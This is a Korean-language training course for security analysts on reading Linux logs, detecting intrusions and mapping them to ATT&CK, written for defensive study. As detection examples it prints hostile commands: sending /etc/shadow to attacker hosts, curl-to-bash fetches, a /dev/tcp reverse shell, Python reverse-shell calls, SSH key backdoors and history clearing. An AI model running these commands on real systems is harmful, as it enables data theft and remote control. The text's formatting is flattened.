Linux 주요 로그 파일의 위치와 역할을 설명할 수 있다. 배포판별 차이를 안다.
SSH 로그인·sudo·cron·명령 실행 흔적을 읽을 수 있다.
정상 운영 행위와 공격 패턴을 구분하는 질문을 던질 수 있다.
Alert에 대해 Fact + Reason + Action 형태로 판단문을 작성할 수 있다.
cat /var/log/auth.log 명령을 실행해 본 적 있다sudo가 무엇인지 설명할 수 있다Accepted 한 줄만 보는 게 아니라, 세션이 열린 후 무엇을 했는지까지 추적하게 됩니다. 시스템 동작 모델을 이해하는 일입니다.
텍스트 해석 + 시스템 동작 모델 이해. 어떤 행위가 어떤 로그를 남기는지 머릿속 지도가 있어야 합니다.
| 데이터 소스 | 생성 주체 | 저장 위치 | 조작 가능성 | 신뢰 수준 | 주요 활용 |
|---|---|---|---|---|---|
| System Log auth.log, syslog |
OS / 서비스 | /var/log/* | 중간 (root로 삭제 가능) | 높음 | 인증, 서비스 이벤트 |
| Journal systemd-journald |
systemd | /run/log/journal | 중간 | 높음 | 서비스 단위 추적 |
| Shell History .bash_history |
사용자 셸 | ~/.bash_history | 높음 (사용자가 삭제/우회) | 낮음~중간 | 보조 단서 |
| Audit Log auditd |
커널 감사 | /var/log/audit/ | 낮음~중간 | 매우 높음 | 명령 실행, 파일 접근 |
| Telemetry EDR, eBPF |
보안 에이전트 | 클라우드/SIEM | 낮음 | 매우 높음 | 프로세스 트리, 네트워크 |
unset HISTFILE, history -c, 비대화형 셸로 기록을 우회할 수 있습니다journalctl로 보강하세요.
journald가 수집 후 rsyslog에 forward → 둘 다 보강 필요. SIEM 수집기는 보통 파일 기반으로 동작하므로 journald → file 설정 확인 필수.
journalctl -xe로 한 번 더 확인하세요info 레벨이라도 침해 핵심 증거일 수 있습니다. Severity 값만으로 중요도를 판단하지 마세요.
| 역할 | 파일 경로 |
|---|---|
| 🔐 인증 이벤트 | /var/log/auth.log |
| ⚙️ 일반 시스템 | /var/log/syslog |
| 🪲 커널 | /var/log/kern.log |
| 📦 패키지 | /var/log/dpkg.log |
| 🕐 cron | /var/log/cron.log |
| 역할 | 파일 경로 |
|---|---|
| 🔐 인증 이벤트 | /var/log/secure |
| ⚙️ 일반 시스템 | /var/log/messages |
| 🪲 커널 | /var/log/dmesg |
| 📦 패키지 | /var/log/yum.log |
| 🕐 cron | /var/log/cron |
| 명령 | 목적 |
|---|---|
journalctl -xe | 최신 이벤트 + 오류 설명 확인 |
journalctl -u sshd | SSH 서비스만 필터 |
journalctl -u cron --since "2026-03-18 00:00:00" | cron 특정 시간부터 |
journalctl _COMM=sudo | sudo 명령만 추적 |
journalctl -b | 현재 부팅 세션 전체 |
journalctl -b -1 | 이전 부팅 세션 |
journalctl -k | 커널 메시지만 |
journalctl -p err -n 50 | 오류 레벨 최근 50줄 |
who 또는 w 명령으로 지금 당장 살아 있는 세션이 있는가를 즉시 확인하세요| 일반 명령 | 압축 파일 명령 | 용도 |
|---|---|---|
grep | zgrep | 키워드 검색 |
less | zless | 파일 내용 보기 |
cat | zcat | 파일 전체 출력 |
diff | zdiff | 파일 비교 |
tail -f auth.log
less auth.log
grep "keyword"
awk | sort | uniq -c
zgrep "*.gz"
grep -c "Failed" auth.log — 빠른 실패 횟수 파악grep만 반복하다가 전체 문맥 놓치지 마세요 — less로 앞뒤 확인 병행서버는 UTC, SIEM은 KST로 표시. 9시간 오차로 이벤트 시퀀스가 뒤바뀔 수 있음. 항상 타임존 확인!
컨테이너 앱 로그는 stdout으로만 나가고 호스트 /var/log에 없을 수 있음. kubectl logs 또는 사이드카 수집기 확인 필요.
SIEM 에이전트 장애, 네트워크 단절로 수집이 멈춘 경우. 로컬에는 있고 SIEM에는 없는 갭 발생 가능.
SIEM 파싱 룰이 맞지 않으면 src_ip, user 필드가 비어 탐지 룰이 동작하지 않음. 원본 raw 로그 확인 필요.
공격자가 root 권한 확보 후 로컬 로그 삭제. SIEM 중앙 수집본은 남을 수 있음. 두 곳 비교 필수.
/var/log 파일이 없거나 비어있는데 journald에는 데이터가 있는 경우. journalctl 확인 필수.
| 필드 | 값 | 보안 의미 |
|---|---|---|
| 결과 | Failed password | 비밀번호 인증 실패 |
| 계정 상태 | invalid user | 🚨 존재하지 않는 계정 → 자동화 스캔 강력 시사 |
| 계정명 | oracle | DB 기본 계정명 → 목록 기반 공격 |
| 출발지 IP | 198.51.100.23 | 외부 IP → 인터넷에서 직접 시도 |
| 인증 방식 | ssh2 | SSH2 프로토콜 (정상) |
시스템에 없는 계정 시도 = 스캐닝/자동화 도구가 계정 목록을 시도. 사용자 실수가 아님. 계속 쌓이면 브루트포스 캠페인 가능성.
실제 존재하는 계정에 비밀번호 실수. 내부 서버라면 비밀번호 만료, 스크립트 설정 오류 가능성 먼저 확인.
PermitRootLogin no 또는 예외 승인 대상~/.ssh/authorized_keys에 공격자 공개키 추가lastlastbwho / waliceTTY=pts/0PWD=/home/aliceUSER=rootsu - = 환경까지 전환visudo 실행 흔적 (bash_history, auditd)/etc/sudoers.d/ 신규 파일 생성ops-team ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
backupsvc ALL=(ALL) NOPASSWD:ALL
root · deploy · devops · backup · git/tmp, /dev/shm 경로 실행/dev/null로 은닉systemctl enable 흔적/tmp나 숨김 디렉터리curl/wget → /tmp → chmod +x → nohup/usr/bin)인가, 이상 경로(/tmp)인가id, whoami, uname -a, ps, netstatbash, sh, python3, perlcurl, wget, scp, sftpcrontab, systemctl enable, useraddscp, rsync, curl -F, ncHISTFILE= unset으로 비활성화sh script.sh로 인라인 실행 우회history -c 또는 파일 삭제/tmp, /dev/shm, /var/tmpchmod +x, 실행 명령이 연결되는가curl http://10.0.1.100/packages/app-2.1.tar.gz -o /tmp/app.tar.gz
curl http://203.0.113.10/a.sh | bash
curl -F "d=@/etc/shadow" http://attacker.net/collect
/tmp/var/tmp/dev/shm.숨김파일ls에 안 보임
>/dev/null 2>&1 여부(alice) CMD (/usr/local/bin/backup.sh)(root) CMD (curl http://203.0.113.10/c.sh|bash)(root) CMD (/tmp/.upd >/dev/null 2>&1)/var/spool/cron/ 파일 mtime으로도 확인 가능
/usr/bin vs /tmpExecStart=/usr/sbin/nginxWantedBy=multi-user.target
ExecStart=/tmp/.system_updateRestart=always ← 재시작 설정까지
netstat: ESTABLISHED 203.0.113.10:443
bash -i >& /dev/tcp/203.0.113.10/4444 0>&1
curl -F "f=@/etc/shadow" http://att.net
curl/wget 사용/tmp 임시 디렉터리 사용nohup, screen, tmux로 작업| 단계 (Tactic) | T-Code | 기법 (Technique) | 로그 근거 |
|---|---|---|---|
| Initial Access | T1110.001 |
Password Guessing (Brute Force) | auth.log 실패 반복 |
| Privilege Escalation | T1548.003 |
Sudo and Sudo Caching | sudo 로그 |
| Execution | T1059.004 |
Unix Shell | auditd execve |
| Persistence | T1053.003 |
Cron | cron 로그 |
| Persistence | T1098.004 |
SSH Authorized Keys | auditd/FIM |
| Persistence | T1136.001 |
Create Account: Local Account | auth.log (useradd) |
svc_backupadmin01 (관리자)| 케이스 | 핵심 판단 | 필수 채점 항목 | 등급 |
|---|---|---|---|
| Case A | 운영 이슈 / 변경 작업 후 오류 | 내부 IP · 서비스 계정 · 변경 티켓 · 성공 여부 확인 | 모니터링 |
| Case B | 고위험 — 즉시 조사 | 신규 외부 IP · 관리자 · 야간 · sudo 직후 명령 확인 | 의심 |
| Case C | Incident — 즉시 대응 | 조합 해석 · 내부 저장소 여부 · 프로세스 보존 | Incident |
| Case D | Incident — 즉시 대응 | 지속성 인식 · 외부 URL + bash 파이프 위험성 | Incident |
| Case E | 의심 — L2 에스컬레이션 | 표준 로그 한계 인식 · auditd 중요성 · 키 점검 | 의심 |
| Case F | Incident — 즉시 대응 | 다중 지속성 인식 · 미승인 변경 · IR/IAM 연계 | Incident |
user, src_ip, host, command, path, outcome| 로그 파일 | 위치 (Ubuntu) | 위치 (RHEL) | 주요 이벤트 | 우선도 |
|---|---|---|---|---|
| 인증 로그 | /var/log/auth.log |
/var/log/secure |
SSH 로그인, sudo, su, PAM | 최고 |
| 시스템 로그 | /var/log/syslog |
/var/log/messages |
서비스 시작/중지, 커널, 데몬 | 고 |
| 저널 로그 | journalctl -u sshd -n 100 |
systemd 서비스 이벤트 | 고 | |
| 감사 로그 | /var/log/audit/audit.log |
execve, 파일 접근, 권한 변경 | 최고 | |
| cron 로그 | /var/log/syslog (CRON) |
/var/log/cron |
스케줄 실행, 등록/변경 | 고 |
| 세션 기록 | last / lastb / who (wtmp, btmp) |
로그인 세션, 지속 시간 | 중 | |
curl/wget + /tmp + chmod +xbase64 -d + bashnohup + /dev/nullbash -i >& + /dev/tcp/useradd + usermod -aG sudosudoers + NOPASSWD:ALL/tmp · /var/tmp/dev/shm.* (숨김 파일)/etc/cron* 신규 항목/etc/systemd/system/ 신규 서비스~/.ssh/authorized_keys mtime/etc/sudoers.d/ 변경PermitRootLogin no — root SSH 로그인 금지PasswordAuthentication no — 키 인증만 허용MaxAuthTries 3 — 인증 시도 횟수 제한AllowUsers alice ops-team — 허용 사용자 목록LogLevel VERBOSE — 상세 로그 활성화PermitRootLogin yes — root 로그인 허용 (위험)PasswordAuthentication yes — 비밀번호 허용 (브루트포스 위험)User not allowed 로그
Disconnecting: Too many authentication failures
ssh -L 8080:internal-server:80 user@bastionssh -R 9090:localhost:22 user@attackerssh -D 1080 user@serverAllowTcpForwarding no 설정 권장ausearch와 aureport는 auditd 로그 분석 전용 도구
python3, perl, vi, less, find, nmap 등sudo -l 로 허용 명령 확인 후 악용docker exec [id] bash = 컨테이너 내 셸 획득 → 호스트 로그에는 잘 안 보일 수 있음
../, %2e%2e → Path TraversalUNION SELECT, OR 1=1 → SQL Injection/etc/passwd, /proc/self → LFI 시도/proc/[PID]/exe → (deleted)/tmp나 /dev/shm/usr/bin 계열
ls -la /proc/*/exe 2>/dev/null | grep "/tmp"LD_PRELOAD: 프로그램 실행 전 공유 라이브러리 로드HISTFILE=/dev/null — bash history 비활성화
HISTSIZE=0 HISTFILESIZE=0 — history 크기 0
PS4='' + set +x — 디버그 트레이스 숨김
environ 규칙 + EDR의 환경변수 캡처가 탐지의 핵심
who, w, last)netstat -tnp, ss -tnp)ps auxf, top)tail -100)169.254.169.254 접근 → 자격증명 탈취 시도
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
top, ps auxf | grep -E "\.xmr|minergate|minerd"
-w /etc/passwd -p r, -w /var/lib -p r 등 민감 파일 읽기 감사
crontab -l -u [user])/etc/audit/rules.d/*.rules → augenrules --load로 적용
msg=audit(타임스탬프:serial)을 가진 레코드들이 하나의 이벤트 — ausearch가 이를 자동으로 묶어줌
| 원본 로그 필드 | auth.log 예시 | ECS 정규화 필드 | Splunk CIM 필드 |
|---|---|---|---|
| 출발지 IP | from 203.0.113.5 | source.ip | src_ip |
| 대상 사용자 | for alice | user.name | user |
| 인증 결과 | Accepted / Failed | event.outcome | action |
| 호스트명 | server01 sshd[...] | host.hostname | dest |
| 프로세스명 | sshd[4512] | process.name | process |
| 인증 방법 | password / publickey | auth.method | auth_method |
source.ip 하나로 auth.log + nginx + firewall 로그를 동시에 검색할 수 있다
sigmac -t splunk rule.ymlsigmac -t elasticsearch rule.yml
| 관측 이벤트 | ATT&CK 전술 | 기법 ID | 설명 |
|---|---|---|---|
| SSH 브루트포스 | Initial Access | T1110.001 | Password Guessing |
| sudo 권한 상승 | Privilege Escalation | T1548.003 | Sudo and Sudo Caching |
| cron 등록 | Persistence | T1053.003 | Cron |
| authorized_keys 추가 | Persistence | T1098.004 | SSH Authorized Keys |
| curl → /tmp → nohup | Execution | T1059.004 | Unix Shell |
| history 삭제 | Defense Evasion | T1070.003 | Clear Command History |
| SSH → 내부 서버 | Lateral Movement | T1021.004 | Remote Services: SSH |
curl -s "https://www.virustotal.com/vtapi/v2/ip-address/report?apikey=KEY&ip=203.0.113.5"
/etc/apparmor.d/stats dc(user) as unique_users by src_ip | where unique_users > 5
-a always,exit -F arch=b64 -S connect -k network_connect 규칙으로 모든 외부 연결 기록
aide --check 2>&1 | grep -E "changed|added|removed"
/etc/passwd, /etc/shadow, /etc/group/etc/ssh/*, ~/.ssh/authorized_keys/etc/sudoers, /etc/sudoers.d/*/etc/cron.*, /var/spool/cron//bin, /sbin, /usr/bin, /usr/sbin/var/www/html/* (웹쉘 업로드 탐지)aGVsbG8td29ybGQ → Base64 디코딩 → hello-worldppid= 필드
ps -eo pid,ppid,comm,args | grep [PID]
-rwsr-xr-x에서 s = setuid 비트/usr/bin/passwd (root 소유, setuid)/tmp나 /home의 setuid 파일 = 거의 확실한 공격
_HOSTNAME_PID_UID_GID_COMM_EXESYSLOG_IDENTIFIERjournalctl _COMM=sshd _UID=0 --since today — root 권한 sshd 프로세스 이벤트
last, lastb, lastlog)으로만 읽어야 함
auth.log에 su 기록, 이후 명령은 새 UID로history -c && unset HISTFILEHISTSIZE=0/var/run/docker.sock 접근 → 호스트 제어
nsenter, unshare 실행 → 네임스페이스 조작 시도 → 즉시 조사
Jan 12 10:15:44 sshd: Accepted publickey for svc_deploy from 10.0.0.100 port 22Jan 12 10:16:01 sudo: svc_deploy ; USER=root ; COMMAND=/usr/bin/curl http://upd.extern.net/pkg -o /tmp/pkg && chmod +x /tmp/pkg && /tmp/pkgtype=AVC avc: denied가 대량으로 나타난다면 어떤 의미일 수 있는가?pam_unix(sshd:session): session opened 다음에 session closed가 30초 후 나타났다. 무엇을 의심할 수 있는가?| 실제 공격 | 실제 정상 | |
|---|---|---|
| Alert 발생 | ✅ True Positive | ❌ False Positive (오탐) |
| Alert 없음 | ⚠️ False Negative (미탐) | ✅ True Negative |
/etc/audit/auditd.conf/etc/audit/rules.d/*.rules/etc/audit/audit.rules/var/log/audit/audit.logalways,exit — 항상 기록never,exit — 항상 무시always,entry — 진입 시
uid=0 root만auid>=1000 일반 사용자success=1 성공한 것만
sed 's/Failed password/[FAIL]/g' — 텍스트 치환sed -n '100,200p' — 라인 범위 출력
sort -k3 -t: -n — 3번째 필드 숫자 정렬sort -rn — 역순 숫자 정렬
sort | uniq -c | sort -rn — 빈도 분석 황금 조합
cut -d' ' -f1-3 — 공백 구분 1~3번째 필드cut -d: -f1,7 — 콜론 구분 1,7번째
journalctl -u nginx | grep "Started\|Stopped\|Failed"
journalctl | grep "Created symlink.*multi-user"
journalctl -k | grep -i "oom\|panic"
journalctl --verify
last에 연속된 짧은 세션 → 자동화 의심wtmp mtime이 auth.log보다 최근 → 로그 변조 의심lastlog에 Never logged in인데 SSH 흔적 → 계정 생성 후 삭제?cmd= 파라미터 → 웹쉘 명령 실행auid=1002: 원래 어떤 계정?uid=0: 실제 실행 권한은?ConsoleLogin with MFA=No + 새로운 IPCreateUser / AttachUserPolicy 야간에 발생GetSecretValue Secrets Manager 대량 접근StopLogging CloudTrail 비활성화 시도DeleteTrail 로그 삭제 시도AuthorizeSecurityGroupIngress 0.0.0.0/0sysctl --system으로 확인
| 로그 종류 | Ubuntu/Debian | RHEL/CentOS | 핵심 내용 |
|---|---|---|---|
| 인증/SSH | /var/log/auth.log |
/var/log/secure |
로그인 성공/실패, sudo, su |
| 시스템 | /var/log/syslog |
/var/log/messages |
시스템 일반 로그, 데몬 |
| 커널 | /var/log/kern.log / dmesg |
커널 메시지, 드라이버 | |
| auditd | /var/log/audit/audit.log |
syscall, 파일 접근, execve | |
| 로그인 이력 | /var/log/wtmp, btmp, lastlog |
last, lastb, lastlog 명령 | |
| cron | /var/log/cron.log |
/var/log/cron |
예약 작업 실행 기록 |
| 웹서버 | /var/log/nginx/ /var/log/apache2/ |
access_log, error_log | |
| 패키지 | /var/log/dpkg.log |
/var/log/yum.log |
소프트웨어 설치/제거 |
curl/wget http://[외부IP] | bash — 외부 코드 원격 실행
bash -i >& /dev/tcp/[IP]/[PORT] 0>&1 — 역방향 쉘
chmod +x /tmp/* && nohup /tmp/[파일] & — 은닉 실행
root cron + 외부 URL — 지속적 원격 코드 실행
useradd + usermod -aG sudo + systemctl enable — 지속성 3중 설치
echo '...' >> /root/.ssh/authorized_keys — SSH 백도어
find / -perm -4000 -type f — SUID 파일 열거 (권한상승 준비)
| T-Code | 기법명 | 로그 근거 | 위험도 |
|---|---|---|---|
T1110.001 |
Password Guessing | auth.log 반복 실패 | 중간 |
T1078 |
Valid Accounts | 신규 IP 성공 로그인 | 높음 |
T1548.003 |
Sudo and Sudo Caching | sudo log | 높음 |
T1059.004 |
Unix Shell Execution | auditd execve | 중간 |
T1053.003 |
Cron | cron log / auditd | 높음 |
T1098.004 |
SSH Authorized Keys | auditd FIM | 높음 |
T1136.001 |
Create Local Account | auth.log useradd | 높음 |
T1071.001 |
Web Protocol C2 | network/auditd connect | 매우 높음 |
T1070.002 |
Log Clearing | 로그 파일 mtime 이상 | 매우 높음 |
| SIEM | 쿼리 언어 | 특징 |
|---|---|---|
| Elastic SIEM | KQL / EQL | 오픈소스 기반, 유연 |
| Splunk | SPL | 기업 표준, 강력한 통계 |
| Microsoft Sentinel | KQL | Azure 네이티브, 클라우드 |
| QRadar | AQL | IBM, 대기업 환경 |
stats count by fieldtimechart span=1h counttable _time host user cmdwhere count > 5eval risk=if(cmd="/bin/bash","HIGH","LOW")| 원본 필드 | ECS 필드 | 의미 |
|---|---|---|
src / saddr | source.ip | 출발지 IP |
uid / USER | user.id | 사용자 ID |
comm / exe | process.name | 프로세스 이름 |
hostname / host | host.name | 호스트명 |
Failed password | event.outcome:failure | 인증 실패 |
Accepted | event.outcome:success | 인증 성공 |
src_ip:...saddr:...source.ip:...curl http://10.0.1.100/deploy.sh | bashcurl http://10.0.1.100/deploy.sh | bashuseradd svcapp01useradd svcapp01history -c, rm /var/log/auth.log로 삭제systemctl stop auditd
update.internal.corp — 내부 도메인인가?/tmp/.upd — 숨김 파일(.으로 시작)uid=0 vs auid=1003 — 각각 무슨 의미?socket.connect('45.33.32.156',8888) — 어떤 행동?os.dup2(s.fileno(),0/1/2) — stdin/stdout/stderr?pty.spawn('/bin/bash') — 최종 목적?| 약어 | 원어 | 의미 |
|---|---|---|
| IOC | Indicator of Compromise | 침해 지표 (IP, 해시, 도메인) |
| IOA | Indicator of Attack | 공격 행동 지표 |
| TTPs | Tactics, Techniques, Procedures | 공격자 전술·기법·절차 |
| MTTD | Mean Time to Detect | 평균 탐지 시간 |
| MTTR | Mean Time to Respond | 평균 대응 시간 |
| FP | False Positive | 오탐 (정상인데 Alert) |
| FN | False Negative | 미탐 (공격인데 놓침) |
| 약어 | 원어 | 의미 |
|---|---|---|
| UEBA | User Entity Behavior Analytics | 사용자·엔티티 행동 분석 |
| EDR | Endpoint Detection & Response | 엔드포인트 탐지·대응 |
| SOAR | Security Orchestration, Automation and Response | 보안 자동화·오케스트레이션 |
| TTP | Threat Threat Profile | 위협 프로파일 |
| C2/C&C | Command & Control | 공격자 원격 제어 서버 |
| DFIR | Digital Forensics & Incident Response | 디지털 포렌식·사고 대응 |
| TI | Threat Intelligence | 위협 인텔리전스 |
/proc/[pid]/exe → (deleted) 표시 → 파일 숨기기 시도
/proc/[pid]/maps에 실행 가능한 anonymous 영역
/proc/[pid]/mem에서 메모리 내용 추출 가능 (포렌식 도구 필요)
HISTFILE= unset 여부 → 히스토리 우회 탐지
ESTABLISHED web01:52341 → 45.33.32.156:8888
date; uptime; hostname — 시스템 기본 상태ps auxf — 전체 프로세스 트리ss -tulnp; netstat -anp — 네트워크 연결lsof -i; lsof | grep deleted — 열린 파일/소켓who; w; last — 현재 로그인 세션arp -a; route -n — 네트워크 테이블find /tmp /dev/shm -ls — /tmp 파일crontab -l -u root; crontab -l — 모든 cron/var/log//var/log/audit/~/.ssh/authorized_keys/etc/systemd/system/*.servicemd5sum /tmp/*| IOC 유형 | 예시 | 활용 |
|---|---|---|
| IP 주소 | 198.51.100.23 | 방화벽 차단 |
| 도메인 | attacker-c2.com | DNS 차단 |
| 파일 해시(MD5) | a1b2c3d4... | AV/EDR 탐지 |
| 파일 경로 | /tmp/.x86_update | FIM 탐지 |
| 계정명 | backupsvc | 감사 대상 등록 |
| SSH 공개키 | AAAA... (fingerprint) | 인증 차단 |
ausearch -i는 이 조합을 자동으로 해준다 — 직접 파싱 시에는 반드시 같은 audit ID를 묶어야 정확한 명령라인이 재조합된다
| 패턴명 | 매칭 내용 |
|---|---|
IP | IPv4 또는 IPv6 주소 |
HOSTNAME | 호스트명 |
USER | 사용자명 |
POSINT | 양의 정수 (PID, 포트) |
WORD | 공백 없는 단어 |
SYSLOGTIMESTAMP | syslog 타임스탬프 |
UNIXPATH | 파일 경로 |
GREEDYDATA | 나머지 모두 |
grokdebugger.com 또는 Kibana의 Grok Debugger — 파싱 전에 반드시 테스트
python3 ssh_analyzer.py /var/log/auth.log — 이 스크립트를 cron에 등록하면 매일 자동 리포트 생성
| 로그에서 확인 | Diamond 요소 |
|---|---|
| C2 IP/도메인 | Infrastructure |
| curl/wget URL | Infrastructure |
| bash -c 역쉘 코드 | Capability |
| auditd EXECVE 명령어 | Capability |
| 침해된 서버/계정 | Victim |
| MITRE T코드 분류 | Capability |
| 기법 (T코드) | 탐지 가능? | 로그 소스 |
|---|---|---|
| T1110.001 SSH 브루트포스 | ✅ 있음 | auth.log |
| T1548.003 sudo 남용 | ✅ 있음 | sudo log |
| T1053.003 Cron | ✅ 있음 | auditd FIM |
| T1059.004 Unix Shell | ⚠️ 부분 | auditd (미설정) |
| T1027 난독화 | ❌ 없음 | 콘텐츠 검사 필요 |
| T1014 루트킷 | ❌ 없음 | 전용 도구 필요 |
| T1071.004 DNS 터널링 | ❌ 없음 | DNS 로그 수집 필요 |
| 권한 비트 | 의미 | 보안 관점 |
|---|---|---|
r--p | 읽기 전용 (코드 영역 정상) | 정상 |
rw-p | 읽기+쓰기 (데이터 정상) | 정상 |
r-xp | 읽기+실행 (라이브러리 정상) | 정상 |
rwxp | 읽기+쓰기+실행 | ⚠️ 의심 |
rwxp + 익명 | 파일 없이 실행 가능한 영역 | 🚨 위험 |
| 서버 유형 | 일일 로그량 | 월간 (압축 후) |
|---|---|---|
| 일반 웹서버 | 500MB~2GB | 5~20GB |
| 인증 서버 (Bastion) | 1~5GB | 10~50GB |
| auditd 활성화 서버 | 2~10GB | 20~100GB |
| DB 서버 | 1~3GB | 10~30GB |
| 조합 | 의미 | 판단 |
|---|---|---|
| 200 + 정상 크기 | 정상 응답 | 정상 |
| 200 + 비정상 크기 | 예상치 않은 데이터 | 확인 |
| 403 반복 | 접근 거부 반복 | 스캐닝 |
| 404 대량 | 디렉토리 무작위 탐색 | 스캔 |
| 500 반복 | 서버 오류 유발 | 공격 의심 |
maxretry=30, findtime=300, bantime=86400
| 공격 | 로그 패턴 | 응답 |
|---|---|---|
| SQLi | UNION, OR 1=1, --, ; | 200이면 위험 |
| XSS | <script>, onerror= | 200+반영 확인 |
| LFI/RFI | ../etc/passwd, php:// | 200이면 침해 |
| Cmd Injection | ;ls, |id, `whoami` | 200이면 즉시 대응 |
| XXE | ENTITY, SYSTEM | XML POST 확인 |
SELECT * FROM users INTO OUTFILE '/tmp/dump.csv'grep "pam_tally2" auth.log | grep "reset"grep "session opened for user svc_" auth.logverb="create", resource="pods/exec"resource="secrets", verb="get"/"list"| 기능 | auditd | Falco |
|---|---|---|
| 대상 | OS 수준 | 컨테이너 수준 |
| 기반 | 커널 감사 | eBPF/ptrace |
| K8s 통합 | 어려움 | 네이티브 |
| 실시간 Alert | 간접적 | 직접 지원 |
| 컨테이너 메타 | 없음 | Pod명, 이미지 포함 |
| Windows EventID | 의미 | Linux 대응 |
|---|---|---|
| 4624 | 로그인 성공 | auth.log Accepted |
| 4625 | 로그인 실패 | auth.log Failed |
| 4648 | 명시적 자격증명 | sudo log |
| 4720 | 계정 생성 | auth.log useradd |
| 4698 | 예약 작업 생성 | cron log |
| 7045 | 서비스 설치 | systemd 서비스 등록 |
netstat 로그 시계열에서 패턴 확인
curl https://ipinfo.io/198.51.100.23| 지표 | 의미 | 목표 |
|---|---|---|
| MTTD | 평균 탐지 시간 | < 1시간 |
| MTTR | 평균 대응 시간 | < 4시간 |
| FPR | 오탐률 | < 10% |
| Alert 처리율 | 24시간 내 처리 비율 | > 95% |
| 탐지 커버리지 | ATT&CK 기법 중 탐지 가능 % | > 60% |